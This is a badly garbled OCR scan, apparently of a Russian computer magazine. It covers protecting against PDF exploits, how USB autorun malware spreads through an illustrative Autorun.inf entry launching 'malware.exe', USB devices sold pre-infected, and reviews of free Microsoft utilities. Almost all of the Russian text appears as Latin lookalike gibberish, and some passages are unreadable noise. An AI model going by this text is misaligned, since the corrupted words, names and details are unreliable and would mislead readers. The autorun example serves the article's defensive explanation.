ycTaHOBKM I JavaScript chmmmtg raAonxy Hanpo- 
tmb nyHKTa «AkTMBMpoBaTb Acrobat JavaScript. 
KpoMe Toro, mo>kho 3 anpeTMTb BbmoAHeHMe 
BHeiuHMx nporpaMM b «flMcneTHepe AOBepMR». 



AnbTepHaTMBHbie peiueHun 

BOAbWMHCTBO PDF- 3 KCAAOMTOB OpMeHTMpOBa- 
Hbi Ha Adobe Reader, noaTOMy Mbi coBeTyeM 
McnoAb 30 BaTb Apyryfo yTMAMTy, HanpMMep 
Foxit Reader (ecTb Ha DVD). I/I He 3 abbiBaMTe 
peryAapHO obHOB/iflTb nporpaMMy. 



flpoBepKa tjjaMAOB 

Xakepbi npeAnoHMTaiOT nocbmaTb 3 apa>xeH- 
Hbie PDF-cfcaMAbi no o/ieKTpoHHOM noHTe. 
OTnpaBbTe noA 03 pMTeAbHoe B/ioweHMe Ha 
aH 3 AM 3 KOMaHAe VirusTotal c noMoutbio 
KAMeHTa Uploader (ecTb Ha DVD). 
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USB: dojibUJOM pmck sapawemifl jixrforo ycipoicTBa 

TexHMKa, noflionoHaeMaa k riK no USB, 6 yflb to KaMepa, MP 3 -n/ieep min cpnem-HaKonmejib, JierKO noflqaeTCfl 
3 apa>KeHnio BpeflOHocHbiM no. A c nowiombio Windows Bi/ipyc 6 e 3 npodoeM nepecejiaeicfl Haflpyron KoimioTep. 


3APA)KEHHblM 

KOMflbHJTEP 


MaHnnyjiiiuMM: Bupyc 
pacno3HaeT USB-ycTpotiCTBO 

HeKOTopbie Bi/iflbi BpeAOHOCHbix nporpaMM odHapy- 
>Ki/iBaK)T BHeiiiHi/ie Hoci/ue/u/i, HaS/iioflaa 3a c|3yH K 141 / 1 - 
ev\ aBT03anycKa b Windows. Kax Totibxo Bi/ipyc Ha- 
xoai/it noflKJitOHeHHoe USB-ycTpowcTBO, oh xom/ipy- 
eTca Ha Hero 1/1 3am/icbiBaeT xoMaHAy 3anycKa (cm. 

6jiok cneBa) b 


Autorun. inf 

1. [AutoRun] 

2. open=[malware.exe] 

3. icon=[malware.ico] 

4. action=Programm starten 


(ftaM/i Autorun. inf, 
KOTopbm He3aMeT- 
ho pacnonaraeTCfl 
b 3arpy30HH0M xa- 
Tanore Hoci/rrejifl. 


AKTMBaUHfl: tpyHKUMfl 3BT0- 
3anycKa MHtpMjMpyeT Windows 

llpi/i noflKJitOHeHi/ii/i 3apa>xeHHoro Haxoni/iTenfl k flpy- 
roMy KOMnbiOTepy Windows Bbino/iHaeT xoMaHAy 1/13 
cjDaMiia Autorun. inf, b ashhom cnynae — BpeflOHOCHoe 
no. rioMi/iMO EXE-cjDatiJiOB sto MoryT 6biTb 1/1 HTML- 
AOxyMeHTbi, KOTopbie noc/ie npocMOTpa i/ix b 6pay3e- 
pe nepeHanpaB^T Bac Ha BpeflOHocHbiw catiT. 




KoMnbfOTep 
mhcJdmum- 
pyeT USB- 
ycipoiiCTBO 



yCTpOI 4 CTBO 3a- 
pa>KaeT no/ib30- 
BaTe/lbCKMM flK 



KOMnbiOTEP 

n0J1b30BATEJ15l 


BpeflOHOCHoe no b KOMnneKTe: 
BHpycbi OT np0M3B0flMTeJlB 

OcodeHHO HenpimHO, hto HexoTopbie USB-ycipoM- 
CTBa nocTynaiOT b Mara3i/mbi c c|3a6pnK i/mi/i ot no- 
CTaBLitMKOB y>xe 3apa>xeHHbiMi/i. Bot HecKO/ibKO 
i/i3BecTH bix npi/iMepoB. 

Olympus plough 6010 

l/l3-3a owi/i6ox, flonyuteHHbix 
npi/i KOHTpone xanecTBa, kom- 
nam/m Olympus peajn/i30Bana 
b RnoHi/11/i 1700 1/1 h c|d 1/114 1/1 po- 
BaHHbix xaMep. 



USB-HaKonmenu ot IBM 

Ha ko H c|De peH 141/1 1/1 , nocBauteH- 
HOH BonpocaM i/iHcfDopMapi/i- 
OHHOM 6e30naCH0CTH, b Abct- 
pani/11/1 npeflCTaBHTe/iM IBM 
pa3flaBaju/i 3apa>xeHHbie ctD/ieiu- 
HaKonmejiH noceTi/iTenriM 
CBoero CTeHfla. 



Creative Sound Blaster X-Fi Go 

3to ycTpotiCTBO npoflaBanocb 
c y>xe coflep/KaBLui/iMi/icn 
Ha HeM TPOBHOM i/i HepBeM, 
AewcTBi/m KOTopbix 6 bin 1/1 
oneHb Henpi/iflTHbiMi/i. TpoBH 
Corelink.D ycTaHaBJii/iBan 
pyTKi/iT Agent.THK, 3 arpy>xan 
Almanahe.V m bhoci/iji i/i 3 MeHe- 
hi/ia b ctDyHKumo aBT03anycKa. 
HepBb R.Jump.AJ 3 arpy>xaji 
tpobh Agent.JXU 1/1 xom/ipoBan- 
cb Ha Ka>Kfloe USB-ycTpowcTBO. 



7 MJ1H 

KOMnbioTepoB 6buin nopa>xeHbi 
nepBeM Conficker, b tom nwcjie 
h nocpefldBOM USB-HaKonmeneu 



KaK 3amnTMTb ce6a ot mic|)eKUiiM, nepeflatomuxcfl no USB 


finssi Brave* USB VKflif . lfl.l 4 H 

ABT03anycK m 

DA A 1 1—1 A Pa rrda C loud A nil v 

1 V V 1 LJM The hi*i r re 6 croud onii 

■ e C U R 1 T Y 

yinjima Panda USB Vaccine 

nnnHnnhHi nTKriKiHaPT 

Computer Vaccination 

4hiL compute ivl diefcla MJlnm carpietdy Iran jwmvtfcfc rntia 
USB a FDJU'fb at/tz It wti pevert * tf mslkwe a Iran 

cn tts cmp^ri Ira™ ary of Ihe^ lypet- prdi 

1 1 uj i n u u i d rvj vj i r\j iiaj iciu i 

cpyHKLtmo aBT03anycKa. 
Tame Bbi MO>Keie 3a6no- 
Ki/ipoBaTb Jii/niib OTAe/ibHbie 

Compear >acc«urtMt [ Rpncrv,^ 

USB-ycTpoMCTBa — Hanpn- 
Mep, HaKonme/iM Apyrwx 
no/ib30Baie/ieM. 

USB drive Vaccination 

V-j.TT.jJrrj i USE tin? vHI & MA hIH Ihs ■«lari«m« ul m 

tw rturtw v«e«*ofr vJ & avw* li«n w*’Btn*i 

horlrpm e {mtiw! i |«j nwt USB divea. 

S elect «l USB 


Usd, Jm jpitfu a *eBdb«k Ht 




Ted Ha BHpycbi 

BbiOepme b BaiueM naxeie 
nporpaMM fl/m xoMn/iexcHOM 
3au4HTbi onurno «npoBepnTb 
CMeHHbie Hocme/in» fl/ia i/ix 
CKaHi/ipoBaHi/ia. Haute Bcero 
3Ta cpyHKLti/m HaxoAmca b 
Aono/iHme/ibHbix HacipoM- 
xax aHTi/iBi/ipyca. 
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n:n^ TECTbl N 0E30Pbl flporpaMMbi Microsoft 



EECIIllATHOE 

yjlYHIllEHME 


WINDOWS 


Bbi He HawfleTe Ha Ha- 
iueM flMCKe noflapoHHbix 
CepTMCfDMKaTOB Ha nOflO- 
3pmejibHbie ncnojiHa- 
eMbie cfDannbi — Mbi 
co6pani/i jii/itub Jiyntui/ie 
opi/in/majibHbie nporpaM- 
Mbi ot Microsoft. 



C ymecTByeT orpOMHoe KOJinne- 
ctbo HeKOMMepnecKHx npor- 
paMM jum onTHMH 3 auHH Win- 
dows n pacnmpeHHB ee cjiyHK- 
LtnoHajiBHOCTH. Ho HHor^a 

MOvKHO 06OHTHCB H 6 e 3 yTHJIHT OT CTO- 
pOHHHX pa 3 pa 60 THHK 0 B. TeM, KTO He 
xoneT TpaTHTB BpeMH Ha noHCKH Heo6- 
XOAHMOrO no, mbi peKOMeH^yeM o6pa- 

THTBCH K OpHTHHaJIBHBIM npO^yKTaM 
Microsoft, y 3TOH KOMnaHHH eCTB 
pemeHHB rjw jho 6 bix 3 aAan: h kom- 
naKTHBin aHTHBHpyc, h nocjieAHnn 


BepCHn Internet Explorer c BnenaTjuno- 

IltHM GblCTpOfleHCTBHeM, h MHOTOHHC- 

jieHHBie ayano-, BH^eo- h (JiOToymjiH- 
tbi. C noMom,BK) hhx bbi npexpacHO 
ocHacTHTe Windows, a njiamHBi noMO- 
ryr pacnmpHTB bo3moxhocth CTaH- 
AapTHBix nporpaMM ot Microsoft — 
HanpHMep, npOHrpBiBaTejin Media 
Player. Bee npHjioxeHHH h flonojiHe- 
HHn pa3MemeHBi Ha HaineM DVD, no- 
3TOMy BaM He rp03HT onacHOCTH, ko- 
TOpBie Hepe^KO noflcreperaiOT npn 
3arpy3Ke H3 h en aaoxH bi x hctohhhkob. 
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o) CHIP DVD 

Ha fliiCKe Bac >kayt caMbie no- 
/ie 3 Hbie yTM/ii/iTbi ot Microsoft 
1/1 MHoroHi/icoeHHbie njiarnHbi. 
rioMi/iMo nponero Bbi HaiifleTe 
TaM 6 eia-Bepcmo HOBoro Internet 
Explorer 9, nporpaMMbi Microsoft 
Security Essentials i/i Live Mail. 


Microsoft Security 
Essentials — sto 

oneHb KOMnaKTHbin 
ami/iBi/ipyc, koto- 
pbm He3aMeTHO 
pa6oTaeT b cJdoho- 
bom pe>Ki/iMe i/i He 
Tpe6yeT noHTi/i m- 
KaKoii HacTpoi/i Kl/I 


IHbI 


TllHM npctcpOK: 

O jNCTp.-lI^ 

BwGoDCJLlHaH... 
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«(DoToanb6oM 
Windows Live» 

no3BOoneT ynpaB- 

JlflTb H 306 pa>KeHMBMM 

i/i Bi/ifleopo/n/iKaivM, 
copn/ipyeT KOMno 3 i/i- 
p i/i i/i no TeraM n npefl- 
jiaraeT flono/iHi/iTe/ib- 
Hbie cfoyH K141/1 n — 
Hanpmviep, ompaBKy 
Maiepna/iOB no nonie 


Ee3onacHOCTi>: 3aiui/iTa 
CUCTeMbl I/I flaHHbIX 
KOMflAKTHbltl AHTMBMPYC. HecMO- 
TpH Ha TO UTO B WindOWS HMeiOTCH 
HeKOTOptie 3am,HTHBie B03M03CH0CTH 
(HanpHMep, BCTpoeHHBiH 6paH£Ma- 
yap), y 3 toh cucTeMBi OTcyrcTBy- 
eT BaXHBIH KOMnOHeHT — Cpe^CTBO 
aHTHBHpyCHOH 060 p 0 HBI. /JaHHBIH 
npodeji noMOxeT bochojihhtb na- 
KeT Microsoft Security Essentials. 3 to 
peineHHe fleMOHCTpnpyeT xopoinyio 
CKOpOCTB padOTBI H MHHHMaJIBHOe 
noTpedjieHHe pecypcoB, nooTOMy 
otjihhho noAOHAeT flaxe ajih cjiadtix 
IIK. Ilocjie ycTaHOBKH odHOBHTe 
aHTHBHpyc, 3arpy3HB caMBie CBe- 
xHe cnraaTypBi. Tenept npocKami- 
pyifre CHCTeMy: HaacMHTe Ha «TjiaB- 
Hyio CTpaHHu;y» h b «THnax npOBe- 
pOK» BBidepHTe BapnaHT «nojiHan». 
Kax npaBHjio, 6ojn>me HHuero Ha- 
CTpaHBaTL He Hy^KHO. 

Ecjih bbi MHoro BpeMeHH npOBO^HTe 
b Cera, ctoht y xe ceitnac nepeifra Ha 
6eTa-BepCHio Security Essentials 2 (cxa- 
naTB ee mo>kho c caifra https ://connect. 
microsoft.com). 3Ta noBaa cjiyxfia npo- 
BepKH (Network Inspection System) 


3ainHinaeT ot ceTeBBix aTax, o^Haxo 
npeAHa3HaneHa tojibko ajih chctcm 
W indows Vista h 7 — b XP OTcyrcTBy- 
eT HeodxoAHMaa nojmep>Kxa TexHOJio- 
thh Windows Filtering Platform. KpOMe 
toto, AaHHan deTa-Bepcnn m-rrerpH- 
pyeTcn b KanecTBe flonojiHeHHH b 6pa- 
y3ep Internet Explorer. 

PO flHTEJlbCKI/IM KQHTPQJIb. Ecjih rqth 

nOJIB3yiOTCH oGlIJHM KOMnBIOTepOM, 
£JIH HX 3aiHHTBI OT onacHBix Be6- 
CTpaHHii, KOHTpojin 3a BpeMeHeM npe- 
dBiBaHHn b HHTepHeTe h Gjioxhpob- 
kh onpeaejieHHBix nporpaMM cjieay- 
eT odpaTHTB BHHMaHHe Ha yrajiHTy 
Windows Live 2011. YcTaHOBxa npOHC- 

XOAHT nOJIHOCTBIO aBTOMaTHUeCXH — 
HeodxoAHMO jinmB yxa3aTB ^eircT- 
ByionjHH aiocayHT Windows Live jxim 
pemcTpaiiHH. IIocKOJiBKy 3Ta yriuiH- 
Ta padoTaeT b CeTH, Bee HacTpoil- 
kh ocymecTBjimoTcn uepe3 6pay- 
3ep. Bbi CMOxeTe nojiynaTB othctbi 
o jho6oh AenTejiBHOCTH 3 a IIK, b 
tom HHCJie h yflajieHHO. Tax, «Live 
CeMeiiHan 6e3onacHOCTB» Be^eT yneT 
OTKpBIBaBUIHXCH npHJIOJKeHHH, CKa- 
naHHBix (JiaHJiOB, 3anymeHHBix nrp 
h nocemeHHBix Be6-CTpaHHij. npn- 


Myio ccBuixy Ha cboio yueTHyio 3a- 
nncB bbi HaH^eTe HenocpeACTBeHHO 
b HHTep(J)eHce nporpaMMBi. 

PE3EPBI/IPQBAHI/IE I/IH3)QPIV1AI_|I/II/I. Ecjih 
bbi HcnojiB3yeTe BHemHHe HaKonHTe- 
jih ajih xpaHeHHn pe3epBHBix KOnHH, 
BaM npuroauTCH npiuioaceHHe SyncToy. 
Ilocjie ycTaHOBKH oho aBTOMaTHne- 
ckh CHHxpOHH3HpyeT (JiaHJiBi b yxa- 

3BHHBIX AHpeKTOpHHX. ElpH 3T0M BBI 

MOxeTe coxpaHHTB CTpyKTypy nanox 
BCTpOeHHOTO AHCKa HJIH JK e OdBeAH- 

hhtb xaKHe-TO H3 hhx. Taioxe SyncToy 

MOJKHO HCn0JIB30BaTB CHHXpOHH- 
3aiiHH AaHHBix, pa3MemeHHBix Ha 
HeCKOJIBKHX KOMnBiOTepax. 

<DoTOJia6opaTOpM5i: Bee 

BaiUMX MMcfipOBblX CHMMKOB 

PE flflKTMPOBAHME M305PA)KEHMM. Yth- 
jiHTa Paint.NET ot Microsoft — oto 
G ecnjiaTHBiH rpactiuHecKUH peaaKTOp, 
OCHameHHBIH pa3H006pa3HBIMH 3(J>- 
(JieKTaMH, HHCTpyMeHTaMH H nOA" 
AepJKKOH cjioeB. Ecjih BaM He xBa- 
THT B03M0JKH0CTeH 3T0H KOMnaKTHOH 
nporpaMMBi , hx mojkho pacmnpHTB 
C nOMOmBIO COTHH njiaTHHOB, HMeio- 
mnxcM Ha caiiTe www.paint.net. 
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n:n^ TECTbl M 0E30Pbl flporpaMMbi Microsoft 



Zune y 3Toro 3/ieraHTHO- 
ro nponrpbiBaTejia ecTb 
CTpam/ipa dbiaporo 
3anycKa m pa3/iMHHbie 

CjDyH KI4MI/I COpTMpOBKI/l 


Media Browser flaHHbm n/iarMH fl/ia Windows Media Center 
CHa 6 >KaeT c| 3 nnbMbi MeiaAaHHbnvm — i/mcJiopMaAi/ieM 06 mviertax 
aKTepoB 1/1 pe>KnccepoB, noaepaMi/i 1/1 KpaTKi/i m oni/icam/ieivi cio>KeTa 


Internet Explorer 9 

HoBaa Bepciifl padoia- 
eT ropa3AO dbicipee, 
HTO xopoioo 3aMeTHO, 
B HaCTHOCTI/l, npi/i 
OTOdpa>KeHMM 
am/iMi/ipoBaHHbix 
CpOTOKO/l/ieKAMM 


collection 


W 6 

2 

3 

34. SfitgufCKhltn. prishla 

A 

3 

51. N&.2D. tttet. Snow Matffn w 

5.5mm 

6 


CQ3 flAHME flAHOPAM. YrajinTa Image 
Composite Editor cnocodHa o6t>- 
eflHHHTL HeCKOJIbKO (J)OTOrpa(J)HH B 
o^Hy. fljiii 3Toro npocTO 3arpy3HTe b 
H ee cooTBeTCTByiomHe chhmkh — 
ocTajiBHoe nporpaMMa caejiaeT aBTO- 
MarauecKH. nojiyneHHBie TaKHM 06 - 
pa30M naHOpaMBi OTjinnaiOTCii bbi- 
COKHM KaneCTBOM H He3aMeTHBIMH 
nepexo^aMH Meacay KaapaMn. Ilpn 
3 tom nporpaMMa caMa BBipaBHHBa- 
eT pa3jmnnn b 3Kcno3miHH. Loto- 
bbih npoeKT moxho coxpaHHTB Ha 
xecTKOM AHCKe hjih onydjiHKOBaTB 
b TpexMepHOM BHfle Ha cepBHce Mic- 
rosoft Photosynth. 3 Toro BaM 

noHaaoduTCH ycTaHOBjieHHBiii njia- 
thh Silverlight h yneTHan 3 anHCB 
Windows Live (perncTpaann no aape- 
cy https://account.live.com). 
ynPABJIEHME (DOTOrPAcDI/miVll/1. fljin pa- 
6 otbi c H 3 o 6 pa>KeHHHMM Microsoft npea- 
jiaraeT nporpaMMy «OoToajiBdoM Win- 
dows Live» (Windows Live Photo Gal- 
lery). Om npocTa b ynpaBjieHnn n 
no 3 BOJineT oaeHHBaTB chhmkh, crad- 
xaTB nx TeraMH n copTHpOBaTB. KpOMe 
Toro, (J)OTOipa(J)HH MOvKHO HanpHMyio 
3 arpyacaTB Ha cepBHCBi Flickr n Win- 
dows Live, nepecBtJiaTB no 3JieKTpOH- 
hoh nonre hjth nydjinKOBaTB b 6 jiore. 
IIomhmo H 3 o 6 pa 3 ceHnn 3 Ta nporpaM- 
Ma padoTaer c b H aeopoji n KaM w , koto- 
pBie mOvKho HenocpeACTBeHHO H3 Hee 
ompaBjiHTB Ha YouTube. Ecjih >xe CHa- 


uajia 4>hjibm Hyanro CMOHTnpoBaTB, jsjm 
3thx rtejien Ha HameM DVD HMeeTcn 
CBexan «KHHOCTyann Windows Live 
20 1 1 » (bbi MOxeTe Hairra ee b cocTaBe 
naxeTa Windows Live 2011). 

MyjibTMMeflMa: HacfiawflaMTecb 

CjDMJlbMaMM M My3blK0M 

MHTEPAKTMBHbIM nilEEP. Microsoft pa3- 
padoTajia coBpeMeHHBin MyjiBTHMe- 
Ahhhbih nponrpBiBaTejiB Zune (www. 
zune.net), He nojiyuMBHinn dojiBmoro 
pacnpocTpaHeHHn. /JaHHoe nporpaMM- 
Hoe odecneneHne npeaHa3HaueHO b 
nepByro onepeaB jxim oaHonMeHHoro 
MP3-njieepa, kotopbih npoaaeTcn 
tojibko b CIIIA. O^HaKO h de3 3TOrO 
ycTponcTBa Zune BBjinercH xopomen 
ajiBTepHaTHBon HMeiomeMycn b Win- 
dows MeAnanponrpBiBaTejno. Bbi dBiCT- 
po copneHTnpyeTecB b HHTep^en- 
ce nporpaMMBi: Zune aBTOMamnecKn 
HaxoAHT Bee necHn, BnaeopojinKn n 
<J)OTorpa(J)HH, xpamnanecii b jihhhoh 
namce nojiB30BaTejw Windows. KpOMe 
Toro, ymnHTa cnocodHa HHTerpn- 
pOBaTB noAKacTBi (paano nporpaMMBi, 
3anncaHHBie b ayanot^anji n CKanaH- 
HBie co cnertnajiBHoro cepBnca, B03- 
mOvKho no noanncK e). J\im npocTO- 
tbi noncKa CBeaemra o KOJiJieKunn 
pacnpeaejnnoTcn no rpeM KOJiOHKaM: 
«HcnojiHHTejiB», «AjiBdoM» n «Ha3Ba- 
Hne necHn». npeacTaBjieHne HH(|)op- 
Mannn jierKO H3MeHHTB — k npnMepy, 


Mcnonb30BaHne 
yTM/iMT Microsoft 

OH/iaMH 

1/lHCTa/uinpyeMoe 110 Bee TecHee nmerpn- 
pyeTcn c i/iHTepHeT-c/iy>K6aMn. Microsoft 
npeA/iaraeT HeKOTopbie npnjio>KeHMfl a/ia 
6ecn/iaTHoro ncnojib30Bam/m b Cen/i. 
SKYDRIVE. BwecTe cyneTHOM 3am/icbio 
Microsoft Bbi 6ecn/iaTH0 no/iynaeTe 
25 r6aMT MecTa A-n^ xpaHeHnn AOKyMeH- 
tob n cjDOTorpac^MM. flocrynHbi HacTpoM- 
KM KOHC(}MAeHUMa/lbHOCTM: C nOMOLAbK) 

noB3yHKa n npumaujeHUM mo>kho BbiAa- 
BaTb pa3pemeHkm Ha npocMOTp AaHHbix 
KOHKpeTHbIM /lKDA^IM. 

nPI/IJ10)KEHI/IR OFFICE WEB. 3 T a >Ke 

yneTHan 3 anMCb npeAOCTaB/ineT 6ec- 
n^aTHbm AOCTyn k OH/iaMHOBOMy oc(dmc- 
HOMy naKeTy, BK/ifonaioiAeMy b ce6n Bee 
nonyB5ipHbie n p mi o>Ke h i/in (Word, Excel, 
PowerPoint m OneNote). Mx cjay h k 14 m 0 - 

Ha/lbHOCTI/l BnO^He XBaTMT ABU C03AaHMH 
npOCTbIX AOKyMeHTOB M COBMeCTHOM pa- 
6oTbi c cjiaM/iaMi/i. Ec m Bbi no/ib3yeTecb 
Office 2010 , to MOweTe CBH3aTb btot na- 
KeT c OHjiaMH-yTM/iMTaMM — HanpMMep, 
HTo6bi 3arpy>KaTb AOKyMeHTbi b CeTb. 
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OcHauiemieXP cjDyHKLpiflMM «ceMepKM» 


Windows 7 nBJineTcn SbicTpow 1/1 xopowo npoAyMaHHoti ci/icTeMoti, oflHaKO He Bee roTOBbi nepetrm Ha Hee. 
Ecjim Bbi npi/iBepweHeq Bepcn n XP, to MoweTe npodo flodaBHTb b Hee HOBbie bo 3 mo>khocti/i. 


HACTPQMKA nOMCKA B PE)KMME 
PEAJIbHOrO BPEMEHM 

1/lMeiOLAaflCfl b Memo «riycK» nonc- 
KOBaa CTpoKa noMoraeT Haxoflmb 
n OTKpbiBaTb /ifo6bie nporpaMMbi n 
4>aMjibi. 3 to oneHb yAo6HO, nocKO/ib- 
Ky omaflaeT Heo6xc>AMMOCTb b nonc- 
Ke Hepe3 IIpoboahmk. 

B/iaroAapa Launchy ashhom bo 3 mo>k- 
HOCTbKD CMOryT n 0 /lb 30 BaTbCfl M B/ia- 
Ae/ibqbi XP. rioc/ie yciaHOBKM yTM/iMTa 
pacno/iaraeTOi b BMAe raA>Keia Win- 
dows Ha Pa 6 oHeM do/ie. npodo BBe- 
AMTe K/imeBoe c/iobo b oKHe noMCKa — 
m Launchy OTKpoeT HywHbiM (JjaM/i. 

PACLUI/IPEHI/IE (DYHKUMM QKQH 

OneHb no/ie 3 HbiM HOBOBBeAeHMeM abjui- 
eica aApecHaa CTpoKa b llpoBOAHMKe 
Windows, no 3 BOJimoiAafl 6 bicrpo nepeMTM 
k Hy>KHOM nanKe. Hio 6 bi ocHacTMTb btom 
c()yHKUMeM XP, ydaHOBMTe QTAddressbar. 
YiM/ima AquaSnap noMO>KeT yAo 6 HO 
pacno/io>KMTb Bee OTKpbiTbie OKHa. 


YCTAHQBKA MEDIA CENTER 

fl/lfl MCn0/lb30BaHMfl B03M0>KH0CTeM 
MeAMaueHipa b XP Mbi peKOMeHAyeM 
yTM/iMTy Boxee: OHa y>Ke coAep>KMT 
HeKOTopbie My/ibTMMeAMMHbie nporpaM- 
Mbi m no3BO/i5ieT no/iyHMTb AOdyn 
k c/iy>K6aM coqMa^bHbix ceieu. 
yCQBEPLUEHCTBQBAHI/IE 
BHEWHEfO BI/lfl A 

Windows 7 nmepecHa He TO/ibKO cbommm 
C(Dy H KI 4 M 53 M M, HO M COBpeMeHHbIM AH 33 M- 
HOM. fl /151 BOCnpOM 3 BeAeHM 51 3 C)D cjl) e KT 0 B 
npo 3 paHHOCTM BOcno^b 3 yMTecb ytmjimtom 
TrueTransparency. A 6 /iaroAap 5 i nporpaMMe 
Win Flip OKHa Ha BaweM 3 KpaHe npeAcraHyT 
b TpexMepHOM BMAe. ViGLance npeA/iaraeT 
KpacMByio m npaKTMHHyio llaHe/ib 3 aAan M 3 
«ceMepKM» A-nfl npeABapMTe/ibHoro npo- 
CMOTpa b BMAe MMHManop, a pj\R ycoBep- 
iueHCTBOBaHM 5 i BHeiuHero BMAa Memo 
«riycK» npMroAMTC 5 i ViStart (cm. ckpmhluot 
cnpaBa). 06 e nporpaMMbi Bbi HaMAeie Ha 
http://lee-soft.com. 





OTCOpTHpOBaTB My3biKy no acaHpy n 
cnncKaM BoenpoH3BeAeHHa. mejiKHyB 
npaBon KHonKon MBiinn no aabboMy, 
bbi CMOxeTe o6pa6oTaTB MeTaAaHHbie, 
Ao6aBHTB o6jio>KKy hjih 3anncaTB My- 
3BiKy Ha ahck. ILienjincTBi co3AaiOTCH 
npocTBiM nepeTacKHBaHneM aabboMa 
HJIH OTAeJIBHBIX K0Mn03HHHM B 06jiaCTB 
CO CnHCKOM BOCnpOH3BeACHHH. 

B Zune ecTB oaeHb HHTepecHaa 
(j3yHKu;H a «Quickplay», KOTOpaa no3BO- 
aaeT 3aKpenHTB jhoGhmbic aabboMbi 


BCTpOeHHbIM ■■ 
MeAMavuieep 
momcho ynymuMTb 


Ha naHejin bbiCTporo 3anycKa, cpa3y 
BHaeTb Ao6aBjieHHBie 3anncH h nocnea- 
HHe npOHrpBIBaBIHHeCH K0Mn03HHHH. 
Ecjih y Bac bon bin aa KonnexHua My3bi- 
kh Ha CD h bbi xoTHTe CKonnpOBaTb ee 
Ha KOMnbioTep, Zune aBTOMaTHaecxn 
BbinojiHHT 3Ty npoueaypy — BaM Hyac- 
HO TOJIbKO 3anyCTHTb HJieep H BCTaBHTb 
AHCK B npHBOA. ITomhmo ayAHO(J>aHJIOB 
Zune BOCnpOH3BOAHT H BHAeOpOJIHKH, 
a Taioxe cnoco6eH noKa3biBaTb <J)oto- 
rpacjiHH b pe>KHMe cjiaua-uioy. OaHaxo 
y 3Toro npnnoaceHHa ecTb napa Hebonb- 
hihx He^ocTaTKOB: oho He noAAep- 
jKHBaeT CHCTeMy oijeHKH h cnocob- 

HO CHHXpOHH3HpOBaTb AaHHbie JIHIHb 


c MP3-iuieepOM Zune. Ecjih bbi toto- 

BBI C 3THM MHpHTBCH, 06paTHTe BHH- 
MaHHe Ha naHHyio yranmy. 

yjiyHUJEHME MEDIA PLAYER. npnBep- 
aceHuaM CTaHjiapTHoro nponrpbiBaTejia 
Endows He noMemaeT yjiyniHHTb ero 
c noMombio njiamHOB. HanpHMep, 
WMP Autorate (http://wmpautorate. 
sourceforge.net) AaeT bo3mojkhoctb 

aBTOMaTHHeCKH OIjeHHBaTb K0MH03H- 
Ahh: neM name npocnyiHHBaeTca Ta 
hjih HHaa necHH, TeM Bbime ee pen- 
thhe HedojibiHOH njiarHH Lyrics (ecTb 
Ha DVD) no3BOJiHeT OTobpaacaTb Tex- 
ctbi neceH. IlpH ycTaHOBKe nporpaM- 
Mbi BbidepHTe AHpeKTOpHio iuieepa rjw 
HHTerpaijHH (xax npaBHjio, oto C:\ 
Program Files\Windows Media Player), 
nocjie uero HaiiAHTe TexcT 3ByuameH 
K0Mn03HH,HH b nyHKTe «B0Cnp0H3- 
BeACHHe» (b Windows Media Player 
BepCHH 11). B nocjieAHeii, 12 Bepcnn 
npOHrpbiBaTejiii ajih Bbi30Ba MeHio 
BaM CHanajia npHaeTCH HaacaTb kom- 
6HHau;Hio KjiaBnm «Ctrl+M», a 3aTeM 
BbidpaTb «Bha | PejKHM 6H6jiHOTeKH». 
TPAMOTHOE l/ICnQJlb3QBAHI/IE MEDIA 
CENTER. Windows Media Center HBjineT- 

CH CTaHJiapTHbIM KOMnOHeHTOM CHCTe- 
Mbi HanuHaa c Bepcnn Vista. OaHaKO no 
chx nop eMy He yaejTHjTOCb AOJCKHoro 
BHHMaHHH. 3to HecnpaBejiJiHBO, Beab 
C XOpOIHHMH paemHpeHHHMH, KOTOpbie 
bbi HaujieTe Ha HameM DVD, aaHHoe 
npHjioaceHHe otjihhho hoaohact He 


TOJibKO AJia AOMamHero Hcnoab30- 
BaHna. HanpHMep, Media Browser 
(http://mediabrowser.tv) OTo6pa3HT Bee 
MeTaAaHHbie h nocTepbi. B cjiyaae c 
(J)HJIbMaMH nOMHMO CTaHAapTHOH hh- 
(J)opMau;HH bbi y3HaeTe npOAoaxH- 
TeabHOCTb KHHOJieHTbi, HMeHa peacnc- 
cepa h aKTepOB. nocae ycTaHOBKH 
caeAyeT aumb yxa3aTb, Kaioie nan- 
kh 3Ta nporpaMMa AOJiacHa yaHTbi- 
BaTb, h Bbi6paTb b nyHKTe MeHio «More 
plug-ins» AonoaHHTeabHbie TeMbi h 
pacmnpeHHa — HanpHMep, 3arpy3Ky 
CBeacnx TpeiiaepOB. 

■mriJiMirJl /(aa KOppeKTHoro oto- 
dpaaceHHa (J)HabMOB KaacABiii bhaco- 
4)aiia AoaaceH pacnoaaraTbca b ot- 
AeabHOH AHpeKTOpHH. 

Media Center npeAaaraeT HecKoabKO 
KaHaaoB ajm npocMOTpa Be6-BHAeo, 
OAHaKO KoaaeioiHa He chhihkom Bean- 
Ka. naarnH MacroTube (ecTb Ha DVD) 
no3BOJiaeT AodaBHTb b Media Center 
TaKHe nopTaabi, KaK YouTube, Daily- 
motion h MSN Soapbox. YcTaHOBKa 
nponcxoAHT aBTOMamaecKH , h no ee 
3aBepmeHHH HyacHO aumb BbidpaTb 
a3biK b HacTpoiiKax («Settings»). 
flaa npocMOTpa cjmabMOB b peacHMe 
OHaata ycTaHOBHTe TunerFree MCE 
(www.milliesoft.co.uk), 3Ta nporpaMMa 
no3BOJiaeT abcoaiOTHO becnaaTHO no- 
3HaK0MHTbca 6oaee aeM c 50 Kaaccn- 
aecKHMH npoH3BeACHHaMH Ha aHr- 
aHHCKOM H3bIKe, nocKoabKy CpOK 
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n:n^ TECTbl M 0E30Pbl flporpaMMbi Microsoft 


«CeMeMHaii 6e3onac- 

HOdb» nporpaMMaTecHO 

i/imerpi/ipyeTCfl c Be 6 - 
cepBMCOM Microsoft, 
B KOTOPOM MO>KHO He 
TOJlbKO 3 aflaTb HaCTpOMKI/l 
A/ia Ka>Kfloro no/ib 30 Ba- 
Te/lfl, HO I/I BbinOJIHHTb 
OHJiaMH-KOHTpOJlb HX 
fleMCTBi/iti Ha flK 



Sed i)jKiJii t [j] fljia riaflii jaHd rojwi Teitar 






Image Composite Editor - 

npocTaa 6ecn/iaTHafl 
nporpaMMa fl/ia ObiapoM 
CKJieMKi/i naHopaMHbix 
CHI/IMKOB, aBTOMaTI/IHeCKH 
BbipaBHHBaiOLMaa 3KCn03M- 
pmo Bcex KaflpoB 


ae hctbhh aBTOpCKHx npaB Ha HEX 
yxe HCTex. YcTaHOBHTe roiaraH, Bbide- 
pHTe «Milliesoft | TunerFree MCE | 
